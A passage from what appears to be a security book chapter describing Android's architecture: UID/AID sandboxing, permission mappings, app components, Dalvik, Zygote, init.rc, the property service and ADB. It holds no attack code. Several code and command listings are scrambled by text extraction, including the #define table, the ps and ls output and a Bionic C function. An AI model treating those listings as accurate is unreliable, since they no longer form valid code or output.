components from each layer in more detail.
Understanding Security Boundaries and Enforcement
Security boundaries, sometimes called trust boundaries, are specific places
within a system where the level of trust differs on either side. A great example
is the boundary between kernel-space and user-space. Code in kernel-space is
trusted to perform low-level operations on hardware and access all virtual and
physical memory. However, user-space code cannot access all memory due to
the boundary enforced by the central processing unit (CPU).
The Android operating system utilizes two separate, but cooperating, permissions models. At the low level, the Linux kernel enforces permissions using
users and groups. This permissions model is inherited from Linux and enforces
access to file system entries, as well as other Android specific resources. This is
commonly referred to as Android’s sandbox. The Android runtime, by way of
the DalvikVM and Android framework, enforces the second model. This model,
which is exposed to users when they install applications, defines app permissions that limit the abilities of Android applications. Some permissions from the
second model actually map directly to specific users, groups, and capabilities
on the underlying operating system (OS).
Android’s Sandbox
Android's foundation of Linux brings with it a well-understood heritage of
Unix-like process isolation and the principle of least privilege. Specifically, the
concept that processes running as separate users cannot interfere with each
other, such as sending signals or accessing one another’s memory space. Ergo,
much of Android’s sandbox is predicated on a few key concepts: standard
Linux process isolation, unique user IDs (UIDs) for most processes, and tightly
restricted file system permissions.
Android shares Linux’s UID/group ID (GID) paradigm, but does not have the
traditional passwd and group files for its source of user and group credentials.
Instead, Android defines a map of names to unique identifiers known as Android
IDs (AIDs). The initial AID mapping contains reserved, static entries for privileged
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and system-critical users, such as the system user/group. Android also reserves
AID ranges used for provisioning app UIDs. Versions of Android after 4.1 added
additional AID ranges for multiple user profiles and isolated process users (e.g., for
further sandboxing of Chrome). You can find definitions for AIDs in system/core/
include/private/android_filesystem_config.h in the Android Open Source
Project (AOSP) tree. The following shows an excerpt that was edited for brevity:
#define AID_ROOT
0
/* traditional unix root user */
#define AID_SYSTEM
1000
/* system server */
#define
#define
...
#define
#define
#define
AID_RADIO
AID_BLUETOOTH
1001
1002
/* telephony subsystem, RIL */
/* bluetooth subsystem */
AID_SHELL
AID_CACHE
AID_DIAG
2000
2001
2002
/* adb and debug shell user */
/* cache access */
/* access to diagnostic resources */
/* The 3000 series are intended for use as supplemental group id's only.
* They indicate special Android capabilities
that the kernel is aware of. */
#define AID_NET_BT_ADMIN 3001 /* bluetooth: create any socket */
#define AID_NET_BT
3002 /* bluetooth: create sco,
rfcomm or l2cap sockets */
#define AID_INET
3003 /* can create AF_INET and
AF_INET6 sockets */
#define AID_NET_RAW
3004 /* can create raw INET sockets */
...
#define AID_APP
10000 /* first app user */
#define AID_ISOLATED_START 99000 /* start of uids for fully
isolated sandboxed processes */
#define AID_ISOLATED_END
99999 /* end of uids for fully
isolated sandboxed processes */
#define AID_USER
100000 /* offset for uid ranges for each user */
In addition to AIDs, Android uses supplementary groups to enable processes to access shared or protected resources. For example, membership in the
sdcard_rw group allows a process to both read and write the /sdcard directory,
as its mount options restrict which groups can read and write. This is similar to
how supplementary groups are used in many Linux distributions.
N O T E Though all AID entries map to both a UID and GID, the UID may not necessarily
be used to represent a user on the system. For instance, AID_SDCARD_RW maps to
sdcard_rw, but is used only as a supplemental group, not as a UID on the system.
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Aside from enforcing file system access, supplementary groups may also be
used to grant processes additional rights. The AID_INET group, for instance,
allows for users to open AF_INET and AF_INET6 sockets. In some cases, rights
may also come in the form of a Linux capability. For example, membership in the
AID_INET_ADMIN group grants the CAP_NET_ADMIN capability, allowing the user to
configure network interfaces and routing tables. Other similar, network-related
groups are cited later in the “Paranoid Networking” section.
In version 4.3 and later, Android increases its use of Linux capabilities. For
example, Android 4.3 changed the /system/bin/run-as binary from being
set-UID root to using Linux capabilities to access privileged resources. Here,
this capability facilitates access to the packages.list file.
N O T E A complete discussion on Linux capabilities is out of the scope of this
chapter. You can find more information about Linux process security and Linux
capabilities in the Linux kernel’s Documentation/security/credentials.txt
and the capabilities manual page, respectively.
When applications execute, their UID, GID, and supplementary groups are
assigned to the newly created process. Running under a unique UID and GID
enables the operating system to enforce lower-level restrictions in the kernel,
and for the runtime to control inter-app interaction. This is the crux of the
Android sandbox.
The following snippet shows the output of the ps command on an HTC One
V. Note the owning UID on the far left, each of which are unique for each app
process:
app_16
app_35
app_155
app_24
app_151
app_49
app_13
4089
4119
4145
4159
4247
4260
4277
1451
1451
1451
1451
1451
1451
1451
304080
309712
318276
307736
303172
303696
453248
31724
30164
39096
32920
28032
28132
68260
...
...
...
...
...
...
...
S
S
S
S
S
S
S
com.htc.bgp
com.google.android.calendar
com.google.android.apps.plus
android.process.media
com.htc.lockscreen
com.htc.weather.bg
com.android.browser
Applications can also share UIDs, by way of a special directive in the
application package. This is discussed further in the “Major Application
Components” section.
Under the hood, the user and group names displayed for the process are
actually provided by Android-specific implementations of the POSIX functions
typically used for setting and fetching of these values. For instance, consider
the getpwuid function (defined in stubs.cpp in the Bionic library):
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345 passwd* getpwuid(uid_t uid) { // NOLINT: implementing bad function.
346
stubs_state_t* state = __stubs_state();
347
if (state == NULL) {
348
return NULL;
349
}
350
351
passwd* pw = android_id_to_passwd(state, uid);
352
if (pw != NULL) {
353
return pw;
354
}
355
return app_id_to_passwd(uid, state);
356 }
Like its brethren, getpwuid in turn calls additional Android-specific functions,
such as android_id_to_passwd and app_id_to_passwd. These functions then
populate a Unix password structure with the corresponding AID’s information. The android_id_to_passwd function calls android_iinfo_to_passwd to
accomplish this:
static passwd* android_iinfo_to_passwd(stubs_state_t* state,
const android_id_info* iinfo) {
snprintf(state->dir_buffer_, sizeof(state->dir_buffer_), "/");
snprintf(state->sh_buffer_, sizeof(state->sh_buffer_),
"/system/bin/sh");
passwd* pw =
pw->pw_name
pw->pw_uid
pw->pw_gid
pw->pw_dir
pw->pw_shell
return pw;
&state->passwd_;
= (char*) iinfo->name;
= iinfo->aid;
= iinfo->aid;
= state->dir_buffer_;
= state->sh_buffer_;
}
Android Permissions
The Android permissions model is multifaceted: There are API permissions, file
system permissions, and IPC permissions. Oftentimes, there is an intertwining
of each of these. As previously mentioned, some high-level permissions map
back to lower-level OS capabilities. This could include actions such as opening
sockets, Bluetooth devices, and certain file system paths.
To determine the app user’s rights and supplemental groups, Android processes high-level permissions specified in an app package’s AndroidManifest
.xml file (the manifest and permissions are covered in more detail in the “Major
Application Components” section). Applications’ permissions are extracted from
the application’s manifest at install time by the PackageManager and stored in
/data/system/packages.xml. These entries are then used to grant the appropriate
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rights at the instantiation of the app’s process (such as setting supplemental
GIDs). The following snippet shows the Google Chrome package entry inside
packages.xml, including the unique userId for this app as well as the permissions it requests:
<package name="com.android.chrome"
codePath="/data/app/com.android.chrome-1.apk"
nativeLibraryPath="/data/data/com.android.chrome/lib"
flags="0" ft="1422a161aa8" it="1422a163b1a"
ut="1422a163b1a" version="1599092" userId="10082"
installer="com.android.vending">
<sigs count="1">
<cert index="0" />
</sigs>
<perms>
<item name="com.android.launcher.permission.INSTALL_SHORTCUT" />
<item name="android.permission.NFC" />
...
<item name="android.permission.WRITE_EXTERNAL_STORAGE" />
<item name="android.permission.ACCESS_COARSE_LOCATION" />
...
<item name="android.permission.CAMERA" />
<item name="android.permission.INTERNET" />
...
</perms>
</package>
The permission-to-group mappings are stored in /etc/permissions/
platform.xml. These are used to determine supplemental group IDs to set for
the application. The following snippet shows some of these mappings:
...
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
<permission name="android.permission.READ_LOGS" >
<group gid="log" />
</permission>
<permission name="android.permission.WRITE_EXTERNAL_STORAGE" >
<group gid="sdcard_rw" />
</permission>
...
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The rights defined in package entries are later enforced in one of two ways.
The first type of checking is done at the time of a given method invocation and
is enforced by the runtime. The second type of checking is enforced at a lower
level within the OS by a library or the kernel itself.
API Permissions
API permissions include those that are used for controlling access to highlevel functionality within the Android API/framework and, in some cases,
third-party frameworks. An example of a common API permission is
READ_PHONE_STATE, which is defined in the Android documentation as allowing
“read only access to phone state.” An app that requests and is subsequently
granted this permission would therefore be able to call a variety of methods related to querying phone information. This would include methods in
the TelephonyManager class, like getDeviceSoftwareVersion, getDeviceId,
getDeviceId and more.
As mentioned earlier, some API permissions correspond to kernel-level enforcement mechanisms. For example, being granted the INTERNET permission means
the requesting app’s UID is added as a member of the inet group (GID 3003).
Membership in this group grants the user the ability to open AF_INET and
AF_INET6 sockets, which is needed for higher-level API functionality, such as
creating an HttpURLConnection object.
In Chapter 4 we also discuss some oversights and issues with API permissions and their enforcement.
File System Permissions
Android’s application sandbox is heavily supported by tight Unix file system
permissions. Applications’ unique UIDs and GIDs are, by default, given access
only to their respective data storage paths on the file system. Note the UIDs
and GIDs (in the second and third columns) in the following directory listing.
They are unique for these directories, and their permissions are such that only
those UIDs and GIDs may access the contents therein:
[email protected]:/ # ls
drwxr-x--x u0_a3
drwxr-x--x u0_a4
drwxr-x--x u0_a5
drwxr-x--x u0_a24
...
drwxr-x--x u0_a55
drwxr-x--x u0_a56
drwxr-x--x u0_a53
mobile
drwxr-x--x u0_a31
-l /data/data
u0_a3 ... com.android.browser
u0_a4 ... com.android.calculator2
u0_a5 ... com.android.calendar
u0_a24 ... com.android.camera
u0_a55 ... com.twitter.android
u0_a56 ... com.ubercab
u0_a53 ... com.yougetitback.androidapplication.virgin.
u0_a31 ... jp.co.omronsoft.openwnn
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Subsequently, files created by applications will have appropriate file permissions
set. The following listing shows an application’s data directory, with ownership
and permissions on subdirectories and files set only for the app’s UID and GID:
[email protected]:/data/data/com.twitter.android # ls -lR
.:
drwxrwx--x u0_a55
u0_a55
drwxrwx--x u0_a55
u0_a55
drwxrwx--x u0_a55
u0_a55
lrwxrwxrwx install install
/data/app-lib/com.twitter.android-1
drwxrwx--x u0_a55
u0_a55
./cache:
drwx------ u0_a55
u0_a55
com.android.renderscript.cache
2013-10-17
2013-10-17
2013-10-17
2013-10-22
00:07
00:07
00:07
18:16
cache
databases
files
lib ->
2013-10-17 00:07 shared_prefs
2013-10-17 00:07
./cache/com.android.renderscript.cache:
./databases:
-rw-rw---- u0_a55
-rw------- u0_a55
-rw-rw---- u0_a55
-rw------- u0_a55
u0_a55
u0_a55
u0_a55
u0_a55
./files:
drwx------ u0_a55
u0_a55
com.crashlytics.sdk.android
184320
8720
61440
16928
2013-10-17
2013-10-17
2013-10-22
2013-10-22
06:47
06:47
18:17
18:17
0-3.db
0-3.db-journal
global.db
global.db-journal
2013-10-22 18:18
./files/com.crashlytics.sdk.android:
-rw------- u0_a55
u0_a55
80 2013-10-22 18:18
5266C1300180-0001-0334-EDCC05CFF3D7BeginSession.cls
./shared_prefs:
-rw-rw---- u0_a55
u0_a55
155 2013-10-17 00:07 com.crashlytics.prefs.
xml
-rw-rw---- u0_a55
u0_a55
143 2013-10-17 00:07
com.twitter.android_preferences.xml
As mentioned previously, certain supplemental GIDs are used for access to shared
resources, such as SD cards or other external storage. As an example, note the output
of the mount and ls commands on an HTC One V, highlighting the /mnt/sdcard path:
[email protected]:/ # mount
...
/dev/block/dm-2 /mnt/sdcard vfat rw,dirsync,nosuid,nodev,noexec,relatime,
uid=1000,gid=1015,fmask=0702,dmask=0702,allow_utime=0020,codepage=cp437,
iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro 0 0
...
[email protected]:/ # ls -l /mnt
...
d---rwxr-x system
sdcard_rw
1969-12-31 19:00 sdcard
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Here you see that the SD card is mounted with GID 1015, which corresponds
to the sdcard_rw group. Applications requesting the WRITE_EXTERNAL_STORAGE
permission will have their UID added to this group, granting them write access
to this path.
IPC Permissions
IPC permissions are those that relate directly to communication between app
components (and some system IPC facilities), though there is some overlap with
API permissions. The declaration and enforcement of these permissions may
occur at different levels, including the runtime, library functions, or directly
in the application itself. Specifically, this permission set applies to the major
Android application components that are built upon Android’s Binder IPC
mechanism. The details of these components and Binder itself are presented
later in this chapter.
Looking Closer at the Layers
This section takes a closer look at the most security-relevant pieces of the Android
software stack, including applications, the Android framework, the DalvikVM,
supporting user-space native code and associated services, and the Linux kernel.
This will help set the stage for later chapters, which will go into greater detail
about these components. This will then provide the knowledge necessary to
attack those components.
Android Applications
In order to understand how to evaluate and attack the security of Android
applications, you first need to understand what they’re made of. This section
discusses the security-pertinent pieces of Android applications, the application
runtime, and supporting IPC mechanisms. This also helps lay the groundwork
for Chapter 4.
Applications are typically broken into two categories: pre-installed and userinstalled. Pre-installed applications include Google, original equipment manufacturer (OEM), and/or mobile carrier-provided applications, such as calendar,
e-mail, browser, and contact managers. The packages for these apps reside in the
/system/app directory. Some of these may have elevated privileges or capabilities, and therefore may be of particular interest. User-installed applications are
those that the user has installed themselves, either via an app market such as
Google Play, direct download, or manually with pm install or adb install.
These apps, as well as updates to pre-installed apps, reside in the /data/app
directory.
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Android uses public-key cryptography for several purposes related to applications. First, Android uses a special platform key to sign pre-installed app packages.
Applications signed with this key are special in that they can have system user
privileges. Next, third-party applications are signed with keys generated by
individual developers. For both pre-installed and user-installed apps, Android
uses the signature to prevent unauthorized app updates.
Major Application Components
Although Android applications consist of numerous pieces, this section highlights
those that are notable across most applications, regardless of the targeted version
of Android. These include the AndroidManifest, Intents, Activities, BroadcastReceivers,
Services, and Content Providers. The latter four of these components represent
IPC endpoints, which have particularly interesting security properties.
AndroidManifest.xml
All Android application packages (APKs) must include the AndroidManifest
.xml file. This XML file contains a smorgasbord of information about the application, including the following:
■
Unique package name (e.g., com.wiley.SomeApp) and version information
■
Activities, Services, BroadcastReceivers, and Instrumentation definitions
■
Permission definitions (both those the application requests, and custom
permissions it defines)
■
Information on external libraries packaged with and used by the application
■
Additional supporting directives, such as shared UID information, preferred installation location, and UI info (such as the launcher icon for the
application)
One particularly interesting part of the manifest is the sharedUserId attribute. Simply put, when two applications are signed by the same key, they can
specify an identical user identifier in their respective manifests. In this case,
both applications execute under the same UID. This subsequently allows these
apps access to the same file system data store, and potentially other resources.
The manifest file is often automatically generated by the development environment, such as Eclipse or Android Studio, and is converted from plaintext
XML to binary XML during the build process.
Intents
A key part of inter-app communication is Intents. These are message objects that
contain information about an operation to be performed, the optional target
component on which to act, and additional flags or other supporting information
(which may be significant to the recipient). Nearly all common actions—such as
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tapping a link in a mail message to launch the browser, notifying the messaging
app that an SMS has arrived, and installing and removing applications—involve
Intents being passed around the system.
This is akin to an IPC or remote procedure call (RPC) facility where applications’ components can interact programmatically with one another, invoking
functionality and sharing data. Given the enforcement of the sandbox at a lower
level (file system, AIDs, and so on), applications typically interact via this API.
The Android runtime acts as a reference monitor, enforcing permissions checks
for Intents, if the caller and/or the callee specify permission requirements for
sending or receipt of messages.
When declaring specific components in a manifest, it is possible to specify
an intent filter, which declares the criteria to which the endpoint handles. Intent
filters are especially used when dealing with intents that do not have a specific
destination, called implicit intents.
For example, suppose an application’s manifest contains a custom permission
com.wiley.permission.INSTALL_WIDGET, and an activity, com.wiley.MyApp
.InstallWidgetActivity, which uses this permission to restrict launching of
the InstallWidgetActivity:
<manifest android:versionCode="1" android:versionName="1.0"
package="com.wiley.MyApp"
...
<permission android:name="com.wiley.permission.INSTALL_WIDGET"
android:protectionLevel="signature" />
...
<activity android:name=".InstallWidgetActivity"
android:permission="com.wiley.permission.INSTALL_WIDGET"/>
Here we see the permission declaration and the activity declaration. Note,
too, that the permission has a protectionLevel attribute of signature. This
limits which other applications can request this permission to just those signed
by the same key as the app that initially defined this permission.
Activities
Simply put, an Activity is a user-facing application component, or UI. Built on
the base Activity class, activities consist of a window, along with pertinent UI
elements. Lower-level management of Activities is handled by the appropriately
named Activity Manager service, which also processes Intents that are sent to
invoke Activities between or even within applications. These Activities are
defined within the application’s manifest, thusly:
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...
<activity android:theme="@style/Theme_NoTitle_FullScreen"
android:name="com.yougetitback.androidapplication.ReportSplashScreen"
android:screenOrientation="portrait" />
<activity android:theme="@style/Theme_NoTitle_FullScreen"
android:name="com.yougetitback.androidapplication.SecurityQuestionScreen"
android:screenOrientation="portrait" />
<activity android:label="@string/app_name"
android:name="com.yougetitback.androidapplication.SplashScreen"
android:clearTaskOnLaunch="false" android:launchMode="singleTask"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
</intent-filter>
...
Here we see activities, along with specifiers for style/UI information, screen
orientation, and so on. The launchMode attribute is notable, as it affects how the
Activity is launched. In this case, the singleTask value indicates that only one
instance of this particular activity can exist at a time; as opposed to launching
a separate instance for each invocation. The current instance (if there is one) of
the application will receive and process the Intent which invoked the activity.
Broadcast Receivers
Another type of IPC endpoint is the Broadcast Receiver. These are commonly
found where applications want to receive an implicit Intent matching certain
other criteria. For example, an application that wants to receive the Intent associated with an SMS message would register a receiver in its manifest with an
intent filter matching the android.provider.Telephony.SMS_RECEIVED action:
<receiver android:name=".MySMSReceiver">
<intent-filter android:priority:"999">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
N O T E Broadcast Receivers may also be registered programmatically at runtime by
using the registerReceiver method. This method can also be overloaded to set
permission restrictions on the receiver.
Setting permission requirements on Broadcast Receivers can limit which
applications can send Intents to that endpoint.
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Services
Services are application components without a UI that run in the background,
even if the user is not interacting directly with the Service’s application. Some
examples of common services on Android include the SmsReceiverService and
the BluetoothOppService. Although each of these services runs outside of the
user’s direct view, like other Android app components they can take advantage
of IPC facilities by sending and receiving Intents.
Services must also be declared in the application’s manifest. For example,
here is a simple definition for a service also featuring an intent filter:
<service
android:name="com.yougetitback.androidapplication.FindLocationService">
<intent-filter>
<action
android:name="com.yougetitback.androidapplication.FindLocationService" />
</intent-filter>
</service>
Services can typically be stopped, started, or bound, all by way of Intents. In
the lattermost case, binding to a service, an additional set of IPC or RPC procedures may be available to the caller. These procedures are specific to a service’s
implementation, and take deeper advantage of the Binder service, discussed
later in the “Kernel” section of the chapter.
Content Providers
Content Providers act as a structured interface to common, shared data stores.
For example, the Contacts provider and Calendar provider manage centralized
repositories of contact entries and calendar entries, respectively, which can be
accessed by other applications (with appropriate permissions). Applications
may also create their own Content Providers, and may optionally expose them
to other applications. The data exposed by these providers is typically backed
by an SQLite database or a direct file system path (for example, a media player
indexing and sharing paths to MP3 files).
Much like other app components, the ability to read and write Content Providers
can be restricted with permissions. Consider the following snippet from an
example AndroidManifest.xml file:
<provider android:name="com.wiley.example.MyProvider"
android:writePermission="com.wiley.example.permission.WRITE"
android:authorities="com.wiley.example.data" />
The application declares a provider, named MyProvider , which corresponds to the class implementing the provider functionality. Then it declares a
writePermission of com.wiley.example.permission.WRITE, indicating that
only apps bearing this custom permission can write to this provider. Finally,
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it specifies the authorities or content uniform resource identifier (URI) that
this provider will act for. Content URIs take the form of content://[authorityname]/ and may include additional path/argument information, possibly
significant to the underlying provider implementation (for example, content://
com.wiley.example.data/foo).
In Chapter 4, we demonstrate a means of discovering and attacking some of
these IPC endpoints.
The Android Framework
The glue between apps and the runtime, the Android Framework provides the
pieces—packages and their classes—for developers to perform common tasks.
Such tasks might include managing UI elements, accessing shared data stores,
and passing messages between application components. To wit, it includes any
non-app-specific code that still executes within the DalvikVM.
The common framework packages are those within the android.* namespace,
such as android.content or android.telephony. Android also provides many
standard Java classes (in the java.* and javax.* namespaces), as well as additional third-party packages, such as Apache HTTP client libraries and the SAX
XML parser. The Android Framework also includes the services used to manage
and facilitate much of the functionality provided by the classes within. These
so-called managers are started by system_server (discussed in the “Zygote”
section) after system initialization. Table 2-1 shows some of these managers and
their description/role in the framework.
Table 2-1: Framework Managers
FRAMEWORK SERVICE
DESCRIPTION
Activity Manager
Manages Intent resolution/destinations, app/activity launch,
and so on
View System
Manages views (UI compositions that a user sees) in activities
Package Manager
Manages information and tasks about packages currently
and previously queued to be installed on the system
Telephony Manager
Manages information and tasks related to telephony services,
radio state(s), and network and subscriber information
Resource Manager
Provides access to non-code app resources such as graphics,
UI layouts, string data, and so on
Location Manager
Provides an interface for setting and retrieving (GPS, cell,
WiFi) location information, such as location fix/coordinates
Notification Manager
Manages various event notifications, such as playing sounds,
vibrating, flashing LEDs, and displaying icons in the status bar
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You can see some of these managers appearing as threads within the
system_server process by using the ps command, specifying the system_server
PID and the -t option:
[email protected]:/ # ps -t -p 376
USER
PID
PPID
... NAME
system
376
52
... system_server
...
system
389
376
... SensorService
system
390
376
... WindowManager
system
391
376
... ActivityManager
...
system
399
376
... PackageManager
The Dalvik Virtual Machine
The DalvikVM is register-based, as opposed to stack-based. Although Dalvik is
said to be Java-based it is not Java insofar as Google does not use the Java logos and
the Android application model has no relationship with JSRs (Java Specification
Requirements). To the Android application developer, the DalvikVM might look
and feel like Java but it isn’t. The overall development process looks like this:
1. Developer codes in what syntactically looks like Java.
2. Source code is compiled into .class files (also Java-like).
3. The resulting class files are translated into Dalvik bytecode.
4. All class files are combined into a single Dalvik executable (DEX) file.
5. Bytecode is loaded and interpreted by the DalvikVM.
As a register-based virtual machine, Dalvik has about 64,000 virtual registers. However, it is most common for only the first 16, or rarely 256, to be used.
These registers are simply designated memory locations in the VM’s memory
that simulate the register functionality of microprocessors. Just like an actual
microprocessor, the DalvikVM uses these registers to keep state and generally
keep track of things while it executes bytecode.
The DalvikVM is specifically designed for the constraints imposed by an
embedded system, such as low memory and processor speeds. Therefore, the
DalvikVM is designed with speed and efficiency in mind. Virtual machines,
after all, are an abstraction of the underlying register machine of the CPU. This
inherently means loss of efficiency, which is why Google sought to minimize
these effects.
To make the most within these constraints, DEX files are optimized before
being interpreted by the virtual machine. For DEX files launched from within
an Android app, this generally happens only once when the application is first
launched. The output of this optimization process is an Optimized DEX file
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(ODEX). It should be noted that ODEX files are not portable across different
revisions of the DalvikVM or between devices.
Similar to the Java VM, the DalvikVM interfaces with lower-level native code
using Java Native Interface (JNI). This bit of functionality allows both calling from
Dalvik code into native code and vice versa. More detailed information about the
DalvikVM, the DEX file format, and JNI on Android is available in the official
Dalvik documentation at http://milk.com/kodebase/dalvik-docs-mirror/docs/.
Zygote
One of the first processes started when an Android device boots is the Zygote
process. Zygote, in turn, is responsible for starting additional services and
loading libraries used by the Android Framework. The Zygote process then
acts as the loader for each Dalvik process by creating a copy of itself, or forking.
This optimization prevents having to repeat the expensive process of loading
the Android Framework and its dependencies when starting Dalvik processes
(including apps). As a result, core libraries, core classes, and their corresponding
heap structures are shared across instances of the DalvikVM. This creates some
interesting possibilities for attack, as you read in greater detail in Chapter 12.
Zygote’s second order of business is starting the system_server process. This
process holds all of the core services that run with elevated privileges under the
system AID. In turn, system_server starts up all of the Android Framework
services introduced in Table 2-1.
N O T E The system_server process is so important that killing it makes the device
appear to reboot. However, only the device’s Dalvik subsystem is actually rebooting.
After its initial startup, Zygote provides library access to other Dalvik processes via RPC and IPC. This is the mechanism by which the processes that
host Android app components are actually started.
User-Space Native Code
Native code, in operating system user-space, comprises a large portion of Android.
This layer is comprised of two primary groups of components: libraries and
core system services. This section discusses these groups, and many individual
components that belong to these groups, in a bit more detail.
Libraries
Much of the low-level functionality relied upon by higher-level classes in the
Android Framework is implemented by shared libraries and accessed via JNI.
Many of these libraries are the same well-known, open source projects used
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in other Unix-like operating systems. For example, SQLite provides local database functionality; WebKit provides an embeddable web browser engine; and
FreeType provides bitmap and vector font rendering.
Vendor-specific libraries, namely those that provide support for hardware
unique to a device model, are in /vendor/lib (or /system/vendor/lib). These
would include low-level support for graphics devices, GPS transceivers, or cellular radios. Non-vendor-specific libraries are in /system/lib, and typically
include external projects, for example:
■
libexif: A JPEG EXIF processing library
■
libexpat: The Expat XML parser
■
libaudioalsa/libtinyalsa: The ALSA audio library
■
libbluetooth: The BlueZ Linux Bluetooth library
■
libdbus: The D-Bus IPC library
These are only a few of the many libraries included in Android. A device
running Android 4.3 contains more than 200 shared libraries.
However, not all underlying libraries are standard. Bionic is a notable example. Bionic is a derivation of the BSD C runtime library, aimed at providing a
smaller footprint, optimizations, and avoiding licensing issues associated with
the GNU Public License (GPL). These differences come at a slight price. Bionic’s
libc is not as complete as, say, the GNU libc or even Bionic’s parent BSD libc
implementation. Bionic also contains quite a bit of original code. In an effort to
reduce the C runtime’s footprint, the Android developers implemented a custom
dynamic linker and threading API.
Because these libraries are developed in native code, they are prone to memory
corruption vulnerabilities. That fact makes this layer a particularly interesting
area to explore when researching Android security.
Core Services
Core services are those that set up the underlying OS environment and native
Android components. These services range from those that first initialize userspace, such as init, to providing crucial debugging functionality, such as adbd
and debuggerd. Note that some core services may be hardware or version specific; this section is certainly not an exhaustive list of all user-space services.
init
On a Linux system, as Android is, the first user-space process started by the
Linux kernel is the init command. Just as with other Linux systems, Android’s
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init program initializes the user-space environment by executing a series of
commands. However, Android uses a custom implementation of init. Instead
of executing run-level-based shell scripts from /etc/init.d, Android executes
commands based on directives found in /init.rc. For device-specific directives, there may be a file called /init.[hw].rc, where [hw] is the codename of
the hardware for that specific device. The following is a snippet of the contents
of /init.rc on an HTC One V:
service dbus /system/bin/dbus-daemon --system --nofork
class main
socket dbus stream 660 bluetooth bluetooth
user bluetooth
group bluetooth net_bt_admin
service bluetoothd /system/bin/bluetoothd -n
class main
socket bluetooth stream 660 bluetooth bluetooth
socket dbus_bluetooth stream 660 bluetooth bluetooth
# init.rc does not yet support applying capabilities, so run as root and
# let bluetoothd drop uid to bluetooth with the right linux capabilities
group bluetooth net_bt_admin misc
disabled
service bluetoothd_one /system/bin/bluetoothd -n
class main
socket bluetooth stream 660 bluetooth bluetooth
socket dbus_bluetooth stream 660 bluetooth bluetooth
# init.rc does not yet support applying capabilities, so run as root and
# let bluetoothd drop uid to bluetooth with the right linux capabilities
group bluetooth net_bt_admin misc
disabled
oneshot
# Discretix DRM
service dx_drm_server /system/bin/DxDrmServerIpc -f -o allow_other \
/data/DxDrm/fuse
on property:ro.build.tags=test-keys
start htc_ebdlogd
on property:ro.build.tags=release-keys
start htc_ebdlogd_rel
service zchgd_offmode /system/bin/zchgd -pseudooffmode
user root
group root graphics
disabled
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These init scripts specify several tasks, including
■
Starting services or daemons that should be started at boot, through the
service directive
■
Specifying the user and group under which the service should run, per
the indented arguments below each service entry
■
Setting system-wide properties and configuration options that are exposed
via the Property Service
■
Registering actions or commands to execute upon occurrence of certain
events, such as modification of a system property or mounting of a file
system, through the “on” directive
The Property Service
Tucked inside Android’s init process is the Property Service, which provides a
persistent (per-boot), memory-mapped, key-value configuration facility. Many
OS and framework components rely upon these properties, which include items
such as network interface configuration, radio options, and even security-related
settings, the details of which are discussed in Chapter 3.
Properties can be retrieved and set in numerous ways. For example, using the
command-line utilities getprop and setprop, respectively; programmatically
in native code via property_get and property_set in libcutils; or programmatically using the android.os.SystemProperties class (which in turn calls
the aforementioned native functions). An overview of the property service is
shown in Figure 2-2.
property setter
unix domain socket
property consumer
property service
read
write
property_workspace
(shared memory)
load
persistent file
Figure 2-2: The Android Property Service
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Running the getprop command on an Android device (in this case, an HTC
One V), you see output which includes DalvikVM options, current wallpaper,
network interface configuration, and even vendor-specific update URLs:
[email protected]:/ # getprop
[dalvik.vm.dexopt-flags]: [m=y]
[dalvik.vm.heapgrowthlimit]: [48m]
[dalvik.vm.heapsize]: [128m]
...
[dhcp.wlan0.dns1]: [192.168.1.1]
[dhcp.wlan0.dns2]: []
[dhcp.wlan0.dns3]: []
[dhcp.wlan0.dns4]: []
[dhcp.wlan0.gateway]: [192.168.1.1]
[dhcp.wlan0.ipaddress]: [192.168.1.125]
[dhcp.wlan0.leasetime]: [7200]
...
[ro.htc.appupdate.exmsg.url]:
[http://apu-msg.htc.com/extra-msg/rws/and-app/msg]
[ro.htc.appupdate.exmsg.url_CN]:
[http://apu-msg.htccomm.com.cn/extra-msg/rws/and-app/msg]
[ro.htc.appupdate.url]:
[http://apu-chin.htc.com/check-in/rws/and-app/update]
...
[service.brcm.bt.activation]: [0]
[service.brcm.bt.avrcp_pass_thru]: [0]
Some properties, which are set as “read-only,” cannot be changed—even by
root (though there are some device-specific exceptions). These are designated
by the ro prefix:
[ro.secure]: [0]
[ro.serialno]: [HT26MTV01493]
[ro.setupwizard.enterprise_mode]: [1]
[ro.setupwizard.mode]: [DISABLED]
[ro.sf.lcd_density]: [240]
[ro.telephony.default_network]: [0]
[ro.use_data_netmgrd]: [true]
[ro.vendor.extension_library]: [/system/lib/libqc-opt.so]
You can find some additional details of the Property Service and its security
implications in Chapter 3.
Radio Interface Layer
The Radio Interface Layer (RIL), which is covered in detail in Chapter 11, provides the functionality that puts the “phone” in “smartphone.” Without this
component, an Android device will not be able to make calls, send or receive
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text messages, or access the Internet without Wi-Fi. As such, it will be found
running on any Android device with a cellular data or telephony capability.
debuggerd
Android’s primary crash reporting facility revolves around a daemon called debuggerd. When the debugger daemon starts up, it opens a connection to Android’s
logging facility and starts listening for clients on an abstract namespace socket.
When each program begins, the linker installs signal handlers to deal with
certain signals.
When one of the captured signals occurs, the kernel executes the signal
handler function, debugger_signal_handler. This handler function connects
to aforementioned socket, as defined by DEBUGGER_SOCKET_NAME. After it’s connected, the linker notifies the other end of the socket (debuggerd) that the target
process has crashed. This serves to notify debuggerd that it should invoke its
processing and thus create a crash report.
ADB
The Android Debugging Bridge, or ADB, is composed of a few pieces, including
the adbd daemon on the Android device, the adb server on the host workstation, and the corresponding adb command-line client. The server manages
connectivity between the client and the daemon running on the target device,
facilitating tasks such as executing a shell; debugging apps (via the Java Debug
Wire Protocol); forwarding sockets and ports; file transfer; and installing/
uninstalling app packages.
As a brief example, you can run the adb devices command to list your
attached devices. As ADB is not already running on our host, it is initialized,
listening on 5037/tcp for client connections. Next, you can specify a target
device by its serial number and run adb shell, giving you a command shell
on the device:
% adb devices
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
List of devices attached
D025A0A024441MGK
device
HT26MTV01493 device
% adb -s HT26MTV01493 shell
[email protected]:/ #
We can see also that the ADB daemon, adbd, is running on the target device
by grepping for the process (or in this case, using pgrep):
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[email protected]:/ # busybox pgrep -l adbd
2103 /sbin/adbd
ADB is pivotal for developing with Android devices and emulators. As such,
